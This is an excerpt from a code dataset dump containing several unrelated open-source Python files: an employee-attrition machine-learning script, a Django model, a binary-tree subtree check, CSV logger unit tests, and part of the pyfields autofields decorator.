list(df_human_resources['NumCompaniesWorked'].unique()):\n ratio = df_human_resources[(df_human_resources['NumCompaniesWorked']==field) & (df_human_resources['Attrition']==\"Yes\")].shape[0] / df_human_resources[df_human_resources['NumCompaniesWorked']==field].shape[0]\n df_JobLevel.loc[i] = (field, ratio*100)\n i += 1\n\ndf_NumberOfCompaniesWorked_Group = df_NumberOfCompaniesWorked.groupby(by=\"NumCompaniesWorked\").sum()\ndf_NumberOfCompaniesWorked_Group.iplot(kind='bar', title='Leavers by Number of Prior Companies Worked (%)')\n\n\n#Number of Years at Company\n\ndf_human_resources\n\nprint(\"The number of years spent at this company varies from {:0.2f} to {:0.2f}.\".format(df_human_resources['YearsAtCompany'].min(), df_human_resources['YearsAtCompany'].max()))\n\nprint('Average number of years spent at the company for currently active employees: {:0.2f}, and ex-employees: {:0.2f}'.format(df_human_resources[df_human_resources['Attrition']=='No']['YearsAtCompany'].mean(), df_human_resources[df_human_resources['Attrition']=='Yes']['YearsAtCompany'].mean()))\n\nx1 = df_human_resources.loc[df_human_resources['Attrition']=='No', 'YearsAtCompany']\nx2 = df_human_resources.loc[df_human_resources['Attrition']=='Yes', 'YearsAtCompany']\n\nhist_data = [x1, x2]\ngroup_labels = ['Active Employees', 'Non-Active Amployees']\n\nfig = ff.create_distplot(hist_data, group_labels, curve_type='kde', show_hist=False, show_rug=False)\n\nfig['layout'].update(title='Years at Company Distribution in Percent by Status')\nfig['layout'].update(xaxis=dict(range=[0,50], dtick=5))\n\npy.iplot(fig, filename='Distplot with Multiple Datasets')\n\n\n#Years with Current Manager\n\nprint(\"The number of years spent with the current manager varies from {:0.2f} to {:0.2f}.\".format(df_human_resources['YearsWithCurrManager'].min(), df_human_resources['YearsWithCurrManager'].max()))\n\nprint('Average number of years spent with the current manager for currently active employees: {:0.2f}, and ex-employees: {:0.2f}'.format(df_human_resources[df_human_resources['Attrition']=='No']['YearsWithCurrManager'].mean(), df_human_resources[df_human_resources['Attrition']=='Yes']['YearsWithCurrManager'].mean()))\n\nx1 = df_human_resources.loc[df_human_resources['Attrition']=='No', 'YearsWithCurrManager']\nx2 = df_human_resources.loc[df_human_resources['Attrition']=='Yes', 'YearsWithCurrManager']\n\nhist_data = [x1, x2]\ngroup_labels = ['Active Employees', 'Non-Active Amployees']\n\nfig = ff.create_distplot(hist_data, group_labels, curve_type='kde', show_hist=False, show_rug=False)\n\nfig['layout'].update(title='Years at Company Distribution in Percent by Status')\nfig['layout'].update(xaxis=dict(range=[0,50], dtick=5))\n\npy.iplot(fig, filename='Distplot with Multiple Datasets')\n\n\n#Work Life Balance\n\ndf_human_resources['WorkLifeBalance'].value_counts()\n\ndf_WorkLifeBalance = pd.DataFrame(columns=[\"WorkLifeBalance\", \"% of Leavers\"])\ni = 0\nfor field in list(df_human_resources['WorkLifeBalance'].unique()):\n ratio = df_human_resources[(df_human_resources['WorkLifeBalance']==field) & (df_human_resources['Attrition']==\"Yes\")].shape[0] / df_human_resources[df_human_resources['WorkLifeBalance']==field].shape[0]\n df_WorkLifeBalance.loc[i] = (field, ratio*100)\n i += 1\n\ndf_WorkLifeBalance_Group = df_WorkLifeBalance.groupby(by=\"WorkLifeBalance\").sum()\ndf_WorkLifeBalance_Group.iplot(kind='bar', title='Leavers by Work Life Balance(%)')\n\n\ndf_human_resources['StandardHours'].value_counts()\n\n\ndf_human_resources['OverTIme'].value_counts()\n\ndf_OverTime = pd.DataFrame(columns=[\"OverTime\", \"% of Leavers\"])\ni = 0\nfor field in list(df_human_resources['OverTime'].unique()):\n ratio = df_human_resources[(df_human_resources['OverTime']==field) & (df_human_resources['Attrition']==\"Yes\")].shape[0] / df_human_resources[df_human_resources['OverTime']==field].shape[0]\n df_WorkLifeBalance.loc[i] = (field, ratio*100)\n i += 1\n\ndf_WorkLifeBalance_Group = df_WorkLifeBalance.groupby(by=\"OverTime\").sum()\ndf_WorkLifeBalance_Group.iplot(kind='bar', title='Leavers by Over Time (%)')\n\n\n#Compensation information\n\nprint(\"Employee Hourly Rate ranges from {:0.2f} to {:0.2f} years.\".format(df_human_resources['HourlyRate'].min(), df_human_resources['HourlyRate'].max()))\n\nprint(\"Employee Daily Rate ranges from {:0.2f} to {:0.2f} years.\".format(df_human_resources['DailyRate'].min(), df_human_resources['DailyRate'].max()))\n\nprint(\"Employee Monthly Rate ranges from {:0.2f} to {:0.2f} years.\".format(df_human_resources['MonthlyRate'].min(), df_human_resources['MonthlyRate'].max()))\n\nprint(\"Employee Monthly Income ranges from {:0.2f} to {:0.2f} years.\".format(df_human_resources['MonthlyIncome'].min(), df_human_resources['MonthlyIncome'].max()))\n\nx1 = df_human_resources.loc[df_human_resources['Attrition'] == 'No', 'MonthlyIncome']\nx2 = df_human_resources.loc[df_human_resources['Attrition'] == 'Yes', 'MonthlyIncome']\n\nhist_data = [x1, x2]\ngroup_labels = ['Active', 'Inactive']\n\nfig = ff.create_distplot(hist_data, group_labels, curve_type = 'kde', show_hist = False, show_rug = False)\n\nfig['Layout'].update(title = 'Distritbuion of Employee Monthly Income by Attrition')\nfig['Layout'].update(xaxis = dict(range=[10, 60], dticks = 5))\n\npy.iplot(fig, filename = 'Distplot with Multiple Datasets')\n\n\nprint(\"Percentage salary hikes range from {:0.2f} to {:0.2f} years.\".format(df_human_resources['PercentSalaryHike'].min(), df_human_resources['PercentSalaryHike'].max()))\n\nx1 = df_human_resources.loc[df_human_resources['Attrition'] == 'No', 'PercentSalaryHike']\nx2 = df_human_resources.loc[df_human_resources['Attrition'] == 'Yes', 'PercentSalaryHike']\n\nhist_data = [x1, x2]\ngroup_labels = ['Active', 'Inactive']\n\nfig = ff.create_distplot(hist_data, group_labels, curve_type = 'kde', show_hist = False, show_rug = False)\n\nfig['Layout'].update(title = 'Distritbuion of Salary Hike Percents by Attrition')\nfig['Layout'].update(xaxis = dict(range=[10, 60], dticks = 5))\n\npy.iplot(fig, filename = 'Distplot with Multiple Datasets')\n\n\n\n#Satisfaction and Performance\n\n\n\n\n#Attrition and Correlation\ndf_human_resources['Attrition'].value_counts()\n\nprint(\"Percentage of Current Employees is {:.1f}% and of Ex-employees is: {:.1f}%\".format(\n df_human_resources[df_human_resources['Attrition'] == 'No'].shape[0] / df_human_resources.shape[0]*100, df_human_resources[df_human_resources['Attrition'] == 'Yes'].shape[0] / df_human_resources.shape[0]*100))\n\ndf_human_resources['Attrition'].iplot(kind='hist', xTitle='Attrition', yTitle='count', title='Attrition Distribution')\n\ndf_human_resoures_transpose = df_human_resources.copy()\ndf_human_resoures_transpose['Target'] = df_human_resoures_transpose['Attrition'].apply(\n lambda x: 0 if x == 'No' else 1)\ndf_human_resoures_transpose = df_human_resoures_transpose.drop(\n ['Attrition', 'EmployeeCount', 'EmployeeNumber', 'StandardHours', 'Over18'], axis=1)\ncorrelations = df_human_resoures_transpose.corr()['Target'].sort_values()\nprint('Most Positive Correlations: \\n', correlations.tail(5))\nprint('\\nMost Negative Correlations: \\n', correlations.head(5))\n\n\ncorr = df_human_resoures_transpose.corr()\nmask = np.zeros_like(corr)\nmask[np.triu_indices_from(mask)] = True\n\n# Heatmap\nplt.figure(figsize=(15, 10))\nsns.heatmap(corr, vmax=.5, mask=mask, annot=True, fmt='0.2f', linewidths=.2, cmap=\"YlGnBu\")\n\n#label encoding object\n\nlabel_encoder = LabelEncoder()\n\nprint(df_human_resources.shape)\ndf_human_resources.head()\n\n#label encoding columns with values <= 2\n\nlabel_encoder_count = 0\nfor col in df_human_resources.columns[1:] :\n if df_human_resources[col].dtype == 'object':\n if len(list(df_human_resources[col].unique())) <= 2 :\n label_encoder.fit(df_human_resources[col])\n df_human_resources[col] = label_encoder.transform(df_human_resources[col])\n label_encoder_count += 1\n\nprint('{} columns were label enconded.'.format(label_encoder_count))\n\ndf_human_resources = pd.get_dummies(df_human_resources, drop_first = True)\n\nprint(df_human_resources.shape)\ndf_human_resources.head()\n\nscale = MinMaxScaler(feature_range=(0, 5))\nhumRes_col = list(df_human_resources.columns)\nhumRes_col.remove('Attrition')\nfor col in humRes_col:\n df_human_resources[col] = df_human_resources[col].astype(float)\n df_human_resources[[col]] = scale.fit_transform(df_human_resources[col])\n\ndf_human_resources['Attrition'] = pd.to_numeric(df_human_resources['Attrition'], downcast = 'float')\ndf_human_resources.head()\n\nprint('Size of fully enconded dataset: {}'.format(df_human_resources.shape))\n\n#Assigning the target to a new dataframe and casting as a numerical feature\ntarget = df_human_resources['Attrition'].copy()\n\ntrainX, testX, trainy, testy = train_test_split(df_human_resources, target, test_size = 0.25, random_state = 7, stratify = target)\n\nprint('Size of trainX dataset: ', trainX.shape)\nprint('Size of trainy dataset: ', trainy.shape)\nprint('Size of testX dataset: ', testX.shape)\nprint('Size of testy dataset: ', testy.shape)\n\n#Logistic regression\n\nmodels = []\nmodels.append(('Logistic Regression', LogisticRegression(solver='liblinear', random_state=7, class_weight='balanced')))\nmodels.append(('Random Forest', RandomForestClassifier( n_estimators=100, random_state=7)))\nmodels.append(('SVM', SVC(gamma='auto', random_state=7)))\nmodels.append(('KNN', KNeighborsClassifier()))\nmodels.append(('Decision Tree Classifier', DecisionTreeClassifier(random_state=7)))\nmodels.append(('Gaussian NB', GaussianNB()))\n\nacc_results = []\nauc_results = []\nnames = []\ncolumns = ['Algorithm', 'ROC AUC Mean', 'ROC AUC STD', \n 'Accuracy Mean', 'Accuracy STD']\ndf_results = pd.DataFrame(columns=col)\ni = 0\nfor name, model in models:\n kfold = model_selection.KFold(n_splits=10, random_state=7)\n cross_validation_acc_results = model_selection.cross_val_score(\n model, trainX, trainy, cross_validation=kfold, scoring='accuracy')\n cross_validation_auc_results = model_selection.cross_val_score(model, trainX, trainy, cross_validation=kfold, scoring='roc_auc')\n\n acc_results.append(cross_validation_acc_results)\n auc_results.append(cross_validation_auc_results)\n names.append(name)\n df_results.loc[i] = [name, round(cross_validation_acc_results.mean()*100, 2), round(cross_validation_auc_results.std()*100, 2), round(cross_validation_acc_results.mean()*100, 2), round(cross_validation_auc_results.std()*100, 2)]\n i += 1\ndf_results.sort_values(by=['ROC AUC Mean'], ascending=False)\n\nfig = plt.figure(figsize=(15, 7))\nfig.suptitle('Algorithm Accuracy Comparison')\nax = fig.add_subplot(111)\nplt.boxplot(acc_results)\nax.set_xticklabels(names)\nplt.show()\n\nfig = plt.figure(figsize=(15, 7))\nfig.suptitle('Algorithm ROC AUC Comparison')\nax = fig.add_subplot(111)\nplt.boxplot(auc_results)\nax.set_xticklabels(names)\nplt.show()\n\nkfold = model_selection.KFold(n_splits=10, random_state=7)\nmodelCV = LogisticRegression(solver='liblinear', class_weight=\"balanced\", random_state=7)\nscoring = 'roc_auc'\nresults = model_selection.cross_val_score(\n modelCV, trainX, trainy, cross_validation=kfold, scoring=scoring)\nprint(\"AUC score (STD): %.2f (%.2f)\" % (results.mean(), results.std()))\n\n\nparam_grid = {'alpha': np.arange(1e-03, 2, 0.01)} #hyperparameters\nlogis_gsch = GridSearchCV(LogisticRegression(solver = 'liblinear', class_weight = 'balanced', random_state = 7), iid = True, return_train_score = True, param_grid = param_grid, scoring = 'roc_auc', cross_validation = 10)\n\nlogis_grid = logis_gsch.fit(trainX, trainy)\nlogis_gopt = logis_grid.best_estimator_\nresult = logis_gsch.cv_results_\n\nprint('='*30)\nprint('best: ' + str(logis_gsch.best_estimator_))\nprint('best: ' + str(logis_gsch.best_params_))\nprint('best: ', logis_gsch.best_score_)\nprint('='*30)\n\nkfold = model_selection.KFold(n_splits=10, random_state=7)\nmodel_cross_validation = LogisticRegression(solver='liblinear', class_weight=\"balanced\", random_state=7)\nscoring = 'roc_auc'\nresults = model_selection.cross_val_score(model_cross_validation, trainX, trainy, cv=kfold, scoring=scoring)\nprint(\"AUC score (STD): %.2f (%.2f)\" % (results.mean(), results.std()))\n\nlogis_gopt.fit(trainX, trainy)\nprobably = logis_gopt.predict_proba(testX)\nprobably = probably[:, 1]\nlog_roc_auc = roc_auc_score(testy, probably)\nprint('AUC: %0.5f' % log_roc_auc)\n\n#Random Forest\n\nrandom_forest_classifier = RandomForestClassifier(class_weight = \"balanced\", random_state=7)\nparam_grid = {'n_estimators': [50, 75, 100, 125, 150, 175], 'min_samples_split':[2,4,6,8,10], 'min_samples_leaf': [1, 2, 3, 4], 'max_depth': [5, 10, 15, 20, 25]}\n\ngrid_obj = GridSearchCV(random_forest_classifier, iid=True, return_train_score=True, param_grid=param_grid, scoring='roc_auc', cross_validation=10)\n\ngrid_fit = grid_obj.fit(trainX, trainy)\nrandom_forest_optimization = grid_fit.best_estimator_\n\nprint('='*20)\nprint(\"best params: \" + str(grid_obj.best_estimator_))\nprint(\"best params: \" + str(grid_obj.best_params_))\nprint('best score:', grid_obj.best_score_)\nprint('='*20)\n\n\nimportances = random_forest_optimization.feature_importances_\nindices = np.argsort(importances)[::-1]\nnames = [trainX.columns[i] for i in indices]\nplt.figure(figsize=(15, 7))\nplt.title(\"Feature Importance\")\nplt.bar(range(trainX.shape[1]), importances[indices])\nplt.xticks(range(trainX.shape[1]), names, rotation=90)\nplt.show()\n\nimportances = random_forest_optimization.feature_importances_\ndf_paramater_coefficient = pd.DataFrame(columns=['Feature', 'Coefficient'])\nfor i in range(44):\n feat = trainX.columns[i]\n coeff = importances[i]\n df_paramater_coefficient.loc[i] = (feat, coeff)\ndf_paramater_coefficient.sort_values(by='Coefficient', ascending=False, inplace=True)\ndf_paramater_coefficient = df_paramater_coefficient.reset_index(drop=True)\ndf_paramater_coefficient.head(10)\n\nconfuson_matrix = metrics.confusion_matrix(testy, random_forest_optimization.predict(testX))\nclass_names=[0,1] # name of classes\nfig, ax = plt.subplots()\ntick_marks = np.arange(len(class_names))\nplt.xticks(tick_marks, class_names)\nplt.yticks(tick_marks, class_names)\n# create heatmap\nsns.heatmap(pd.DataFrame(confuson_matrix), annot=True, cmap=\"YlGnBu\" ,fmt='g')\nax.xaxis.set_label_position(\"top\")\nplt.tight_layout()\nplt.title('Confusion matrix', y=1.1)\nplt.ylabel('Actual label')\nplt.xlabel('Predicted label')\n\nprint('Accuracy of RandomForest Regression Classifier on test set: {:0.2f}'.format(random_forest_optimization.score(testX, testy)*100))\nrandom_forest_optimization.fit(trainX, trainy)\nprint(classification_report(testy, random_forest_optimization.predict(testX)))\n\nrandom_forest_optimization.fit(trainX, trainy)\nprobs = random_forest_optimization.predict_proba(testX)\nprobs = probs[:, 1]\nrandom_forest_optimization_roc_auc = roc_auc_score(testy, probs)\nprint('AUC score: %0.3f' % random_forest_optimization_roc_auc)\n\n\nranFor_class = RandomForestClassifier(class_weight = 'balanced', random_state = 7)\nparam_grid = {'estimators': [50, 75, 100, 125, 150, 175, 200], 'min_samp_splt': [2, 4, 6, 8, 10], 'min_samp_lf': [1, 2, 3, 4, 5], 'max_depth': [5, 10, 15, 20, 25, 30]}\ngrid_object = GridSearchCV(ranFor_class, iid = True, return_train_score = True, param_grid = param_grid, scoring = 'roc_auc', cv = 10)\n\nfitGrid = grid_object.fit(trainX, trainy)\nranFor_opt = fitGrid.best_estimator_\n\nprint('='*30)\nprint('best: ' + str(grid_object.best_estimator_))\nprint('best: ' + str(grid_object.best_params_))\nprint('best: ', grid_object.best_score_)\nprint('='*30)\n\nranFor_opt.fit(trainX, trainy)\nprobably2 = ranFor_opt.predict_proba(testX)\nprobably2 = probably2[:, 1]\nranFor_opt_roc_auc = roc_auc_score(testy, probably2)\nprint('AUC: %0.5f' % ranFor_opt_roc_auc)\n\nfpr, tpr, thresholds = roc_curve(testy, logis_gopt.predict_proba(testX)[:,1])\nrf_fpr, rf_tpr, rf_thresholds = roc_curve(testy, random_forest_optimization.predict_proba(testX)[:,1])\nplt.figure(figsize=(14, 6))\n\n# Plot Logistic Regression ROC\nplt.plot(fpr, tpr, label='Logistic Regression (area = %0.2f)' % log_roc_auc)\n# Plot Random Forest ROC\nplt.plot(rf_fpr, rf_tpr, label='Random Forest (area = %0.2f)' % random_forest_optimization_roc_auc)\n# Plot Base Rate ROC\nplt.plot([0,1], [0,1],label='Base Rate' 'k--')\n\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('ROC Graph')\nplt.legend(loc=\"lower right\")\nplt.show()","repo_name":"iheartbenzene/super-garbanzo","sub_path":"employee_attrition_template.py","file_name":"employee_attrition_template.py","file_ext":"py","file_size_in_byte":28211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18229983373","text":"from django.db.models import ForeignKey, PositiveIntegerField, PROTECT\nfrom django.utils.translation import gettext_lazy as _\n\nfrom fields import PublicResourceMixin\n\nPLACE_USUAL_STAGE = 1\n\nPLACE_TYPES = [(PLACE_USUAL_STAGE, _(\"usualStage\"))]\n\n\nclass UsualPlace(PublicResourceMixin):\n class Meta:\n verbose_name = _(\"Usual Place\")\n verbose_name_plural = _(\"Usual Places\")\n\n location = ForeignKey(\"Location\", on_delete=PROTECT, verbose_name=_(\"Location\"),)\n\n place_type = PositiveIntegerField(\n blank=True, choices=PLACE_TYPES, null=True, verbose_name=_(\"Place type\")\n )\n\n def get_location_name(self):\n return self.location.name\n\n\nUsualPlace.get_location_name.short_description = _(\"Location\")\n","repo_name":"just-paja/polocas-napadu-api","sub_path":"locations/models/usual_place.py","file_name":"usual_place.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"72686516968","text":"# -*- coding:utf-8 -*-\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\nclass Solution:\n def HasSubtree(self, pRoot1, pRoot2):\n if not pRoot1 or not pRoot2:\n return False\n res = False\n if pRoot1.val == pRoot2.val:\n res = self.check(pRoot1,pRoot2)\n if not res:\n return self.HasSubtree(pRoot1.left,pRoot2) or self.HasSubtree(pRoot1.right,pRoot2)\n else:\n return True\n def check(self,p1,p2):\n if not p2:\n return True\n elif not p1:\n return False\n if p1.val == p2.val:\n return self.check(p1.left,p2.left) and self.check(p1.right,p2.right)\n else:\n return False","repo_name":"zazaliu/Target-Offer-Python","sub_path":"018-树的子结构/018.py","file_name":"018.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"6581046032","text":"from my_logger.handlers.csv_handler import (\n InvalidCSVFileException,\n InvalidCSVHeaderException,\n)\nfrom my_logger import ProfilLogger, CSVHandler, LogEntry\nfrom datetime import datetime\nimport unittest\nimport unittest.mock as mock\nimport os\n\nCORRECT_CSV = \"\"\"\ndate,level,msg\n2021-07-06 12:20:15.056783,INFO,this is a info no. 0\n2021-07-06 12:20:15.057006,DEBUG,this is a info no. 1\n\"\"\"\n\n# bad csv file\nINVALID_CSV_0 = \"\"\"\nLorem ipsum dolor sit amet, consectetur adipiscing elit.\nDonec condimentum vulputate blandit. Pellentesque consequat\norci quis neque malesuada, at tristique ex bibendum.\nQuisque non eros luctus, ultricies nisi vel, venenatis ipsum.\n\"\"\"\n\n# correct csv, invalid fieldnames\nINVALID_CSV_1 = \"\"\"\ndate,level,msg,author\n2021-07-06 12:20:15.056783,INFO,this is a info,michal\n2021-07-06 12:20:15.057006,DEBUG,this is debug,tomek\n\"\"\"\n\n# correct csv, correct field, bad time format (POSIX)\nINVALID_CSV_2 = \"\"\"\ndate,level,msg\n1625567110,INFO,this is a info\n1625567110,INFO,this is a info\n\"\"\"\n\nCSV_FILENAME = \"test.csv\"\n\n\nclass TestCSVHandler(unittest.TestCase):\n def test_handler_basic_usage(self):\n \"\"\"Integration test: test basic class usage\"\"\"\n plogger = ProfilLogger([CSVHandler(CSV_FILENAME)])\n plogger.info(\"this is a info\")\n\n with open(CSV_FILENAME, \"r\") as csv_file:\n last_entry = csv_file.read().splitlines()[-1]\n last_entry = last_entry.split(\",\")\n self.assertEqual(last_entry[1], \"INFO\")\n self.assertEqual(last_entry[2], \"this is a info\")\n\n os.remove(CSV_FILENAME)\n\n def test_logger_header(self):\n \"\"\"Integration test: test header creation\"\"\"\n plogger = ProfilLogger([CSVHandler(CSV_FILENAME)])\n plogger.info(\"this is a info\")\n\n with open(CSV_FILENAME, \"r\") as csv_file:\n header = csv_file.read().splitlines()[0]\n self.assertEqual(header, \"date,level,msg\")\n\n os.remove(CSV_FILENAME)\n\n def test_handler_base_form(self):\n \"\"\"Unit test: test dictionary creation\"\"\"\n m = mock.mock_open(read_data=CORRECT_CSV)\n handler = CSVHandler(CSV_FILENAME)\n\n with mock.patch(\"builtins.open\", m):\n base_form = handler.get_base_form()\n m.assert_called_once_with(CSV_FILENAME, \"r\")\n correct_form = [\n LogEntry(\n date=datetime(2021, 7, 6, 12, 20, 15, 56783),\n level=\"INFO\",\n msg=\"this is a info no. 0\",\n ),\n LogEntry(\n date=datetime(2021, 7, 6, 12, 20, 15, 57006),\n level=\"DEBUG\",\n msg=\"this is a info no. 1\",\n ),\n ]\n self.assertEqual(base_form, correct_form)\n\n def test_handler_bad_csv(self):\n \"\"\"Unit test: test if exception raised for invalid csv file format\"\"\"\n m = mock.mock_open(read_data=INVALID_CSV_0)\n handler = CSVHandler(CSV_FILENAME)\n\n with mock.patch(\"builtins.open\", m):\n self.assertRaises(InvalidCSVFileException, handler.get_base_form)\n\n m.assert_called_once_with(CSV_FILENAME, \"r\")\n\n def test_handler_bad_header(self):\n \"\"\"Unit test: test if exception raised for invalid csv file header\"\"\"\n m = mock.mock_open(read_data=INVALID_CSV_1)\n handler = CSVHandler(CSV_FILENAME)\n\n with mock.patch(\"builtins.open\", m):\n self.assertRaises(InvalidCSVHeaderException, handler.get_base_form)\n\n m.assert_called_once_with(CSV_FILENAME, \"r\")\n\n def test_handler_bad_time_format(self):\n \"\"\"Unit test: test if ValueError raised for invalid time\n format (not ISO)\"\"\"\n m = mock.mock_open(read_data=INVALID_CSV_2)\n handler = CSVHandler(CSV_FILENAME)\n\n with mock.patch(\"builtins.open\", m):\n self.assertRaises(ValueError, handler.get_base_form)\n\n m.assert_called_once_with(CSV_FILENAME, \"r\")\n","repo_name":"michalwilk123/internship-python-profil","sub_path":"tests/test_handlers/test_csv_handler.py","file_name":"test_csv_handler.py","file_ext":"py","file_size_in_byte":3962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"34752202784","text":"# Authors: Sylvain MARIE \n# + All contributors to \n#\n# License: 3-clause BSD, \nimport sys\nfrom copy import deepcopy\nfrom inspect import isdatadescriptor, ismethoddescriptor\n\ntry:\n from typing import Union, Callable, Type, Any, TypeVar, Tuple, Iterable\n DecoratedClass = TypeVar(\"DecoratedClass\", bound=Type[Any])\nexcept ImportError:\n pass\n\n\nfrom .core import Field, field\nfrom .init_makers import make_init as mkinit\nfrom .helpers import copy_value, get_fields\n\n\nPY36 = sys.version_info >= (3, 6)\nDEFAULT_EXCLUDED = ('_abc_impl',)\n\n\ndef _make_init(cls):\n \"\"\"Utility method used in autofields and autoclass to create the constructor based on the class fields\"\"\"\n if \"__init__\" not in cls.__dict__:\n new_init = mkinit()\n cls.__init__ = new_init\n # attach explicitly to the class so that the descriptor is correctly completed.\n new_init.__set_name__(cls, '__init__')\n\n\ndef autofields(check_types=False, # type: Union[bool, DecoratedClass]\n include_upper=False, # type: bool\n include_dunder=False, # type: bool\n exclude=DEFAULT_EXCLUDED, # type: Iterable[str]\n make_init=True, # type: bool\n ):\n # type: (...) -> Union[Callable[[DecoratedClass], DecoratedClass], DecoratedClass]\n \"\"\"\n Decorator to automatically create fields and constructor on a class.\n\n When a class is decorated with `@autofields`, all of its members are automatically transformed to fields.\n More precisely: members that only contain a type annotation become mandatory fields, while members that contain a\n value (with or without type annotation) become optional fields with a `copy_value` default_factory.\n\n By default, the following members are NOT transformed into fields:\n\n * members with upper-case names. This is because this kind of name formatting usually denotes class constants. They\n can be transformed to fields by setting `include_upper=True`.\n * members with dunder-like names. They can be included using `include_dunder=True`. Note that reserved python\n dunder names such as `__name__`, `__setattr__`, etc. can not be transformed to fields, even when\n `include_dunder=True`.\n * members that are classes or methods defined in the class (that is, where their `.__name__` is the same name than\n the member name).\n * members that are already fields. Therefore you can continue to use `field()` on certain members explicitly if\n you need to add custom validators, converters, etc.\n\n All created fields have their `type_hint` filled with the type hint associated with the member, and have\n `check_type=False` by default. This can be changed by setting `check_types=True`.\n\n Finally, in addition, an init method (constructor) is generated for the class, using `make_init()`. This may be\n disabled by setting `make_init=False`..\n\n >>> import sys, pytest\n >>> if sys.version_info < (3, 6): pytest.skip(\"doctest skipped for python < 3.6\")\n ...\n >>> @autofields\n ... class Pocket:\n ... SENTENCE = \"hello world\" # uppercase: not a field\n ... size: int # mandatory field\n ... items = [] # optional - default value will be a factory\n ...\n >>> p = Pocket(size=10)\n >>> p.items\n []\n >>> Pocket(size=10, SENTENCE=\"hello\")\n Traceback (most recent call last):\n ...\n TypeError: __init__() got an unexpected keyword argument 'SENTENCE'\n\n\n :param check_types: boolean flag (default: `False`) indicating the value of `check_type` for created fields. Note\n that the type hint of each created field is copied from the type hint of the member it originates from.\n :param include_upper: boolean flag (default: `False`) indicating whether upper-case class members should be also\n transformed to fields (usually such names are reserved for class constants, not for fields).\n :param include_dunder: boolean flag (default: `False`) indicating whether dunder-named class members should be also\n transformed to fields. Note that even if you set this to True, members with reserved python dunder names will\n not be transformed. See `is_reserved_dunder` for the list of reserved names.\n :param exclude: a tuple of field names that should be excluded from automatic creation. By default this is set to\n `DEFAULT_EXCLUDED`, which eliminates fields created by `ABC`.\n :param make_init: boolean flag (default: `True`) indicating whether a constructor should be created for the class if\n no `__init__` method is present. Such constructor will be created using `__init__ = make_init()`.\n :return:\n \"\"\"\n def _autofields(cls):\n NO_DEFAULT = object()\n\n try:\n # Are type hints present ?\n # note: since this attribute can be inherited, we get the own attribute only\n # cls_annotations = cls.__annotations__\n cls_annotations = getownattr(cls, \"__annotations__\")\n except AttributeError:\n # No type hints: shortcut. note: do not return a generator since we'll modify __dict__ in the loop after\n members_defs = tuple((k, None, v) for k, v in cls.__dict__.items())\n else:\n # Fill the list of potential fields definitions\n members_defs = []\n cls_dict = cls.__dict__\n\n if not PY36:\n # Is this even possible ? does not seem so. Raising an error until this is reported\n raise ValueError(\"Unsupported case: `__annotations__` is present while python is < 3.6 - please report\")\n # # dont care about the order, it is not preserved\n # # -- fields with type hint\n # for member_name, type_hint in cls_annotations.items():\n # members_defs.append((member_name, type_hint, cls_dict.get(member_name, NO_DEFAULT)))\n #\n # # -- fields without type hint\n # members_with_type = set(cls_annotations.keys())\n # for member_name, default_value in cls_dict.items():\n # if member_name not in members_with_type:\n # members_defs.append((member_name, None, default_value))\n #\n else:\n # create a list of members with consistent order\n members_with_type_and_value = set(cls_annotations.keys()).intersection(cls_dict.keys())\n\n in_types = [name for name in cls_annotations if name in members_with_type_and_value]\n in_values = [name for name in cls_dict if name in members_with_type_and_value]\n assert in_types == in_values\n\n def t_gen():\n \"\"\" generator used to fill the definitions for members only in annotations dict \"\"\"\n next_stop_name = yield\n for _name, _type_hint in cls_annotations.items():\n if _name != next_stop_name:\n members_defs.append((_name, _type_hint, NO_DEFAULT))\n else:\n next_stop_name = yield\n\n def v_gen():\n \"\"\" generator used to fill the definitions for members only in the values dict \"\"\"\n next_stop_name, next_stop_type_hint = yield\n for _name, _default_value in cls_dict.items():\n if _name != next_stop_name:\n members_defs.append((_name, None, _default_value))\n else:\n members_defs.append((_name, next_stop_type_hint, _default_value))\n next_stop_name, next_stop_type_hint = yield\n\n types_gen = t_gen()\n types_gen.send(None)\n values_gen = v_gen()\n values_gen.send(None)\n for common_name in in_types:\n types_gen.send(common_name)\n values_gen.send((common_name, cls_annotations[common_name]))\n # last one\n try:\n types_gen.send(None)\n except StopIteration:\n pass\n try:\n values_gen.send((None, None))\n except StopIteration:\n pass\n\n # Main loop : for each member, possibly create a field()\n for member_name, type_hint, default_value in members_defs:\n if member_name in exclude:\n # excluded explicitly\n continue\n elif not include_upper and member_name == member_name.upper():\n # excluded uppercase\n continue\n elif (include_dunder and is_reserved_dunder(member_name)) \\\n or is_dunder(member_name):\n # excluded dunder\n continue\n elif isinstance(default_value, Field):\n # already a field, no need to create\n # but in order to preserve relative order with generated fields, detach and attach again\n try:\n delattr(cls, member_name)\n except AttributeError:\n pass\n setattr(cls, member_name, default_value)\n continue\n elif isinstance(default_value, property) or isdatadescriptor(default_value) \\\n or ismethoddescriptor(default_value):\n # a property or a data or non-data descriptor > exclude\n continue\n elif (isinstance(default_value, type) or callable(default_value)) \\\n and getattr(default_value, '__name__', None) == member_name:\n # a function/class defined in the class > exclude\n continue\n else:\n # Create a field !!\n need_to_check_type = check_types and (type_hint is not None)\n if default_value is NO_DEFAULT:\n # mandatory field\n new_field = field(check_type=need_to_check_type)\n else:\n # optional field : copy the default value by default\n try:\n # autocheck: make sure that we will be able to create copies later\n deepcopy(default_value)\n except Exception as e:\n raise ValueError(\"The provided default value for field %r=%r can not be deep-copied: \"\n \"caught error %r\" % (member_name, default_value, e))\n new_field = field(check_type=need_to_check_type,\n default_factory=copy_value(default_value, autocheck=False))\n\n # Attach the newly created field to the class. Delete attr first so that order is preserved\n # even if one of them had only an annotation.\n try:\n delattr(cls, member_name)\n except AttributeError:\n pass\n setattr(cls, member_name, new_field)\n new_field.set_as_cls_member(cls, member_name, type_hint=type_hint)\n\n # Finally, make init if not already explicitly present\n if make_init:\n _make_init(cls)\n\n return cls\n # end of _autofields(cls)\n\n # Main logic of autofield(**kwargs)\n if check_types is not True and check_types is not False and isinstance(check_types, type):\n # called without arguments @autofields: check_types is the decorated class\n 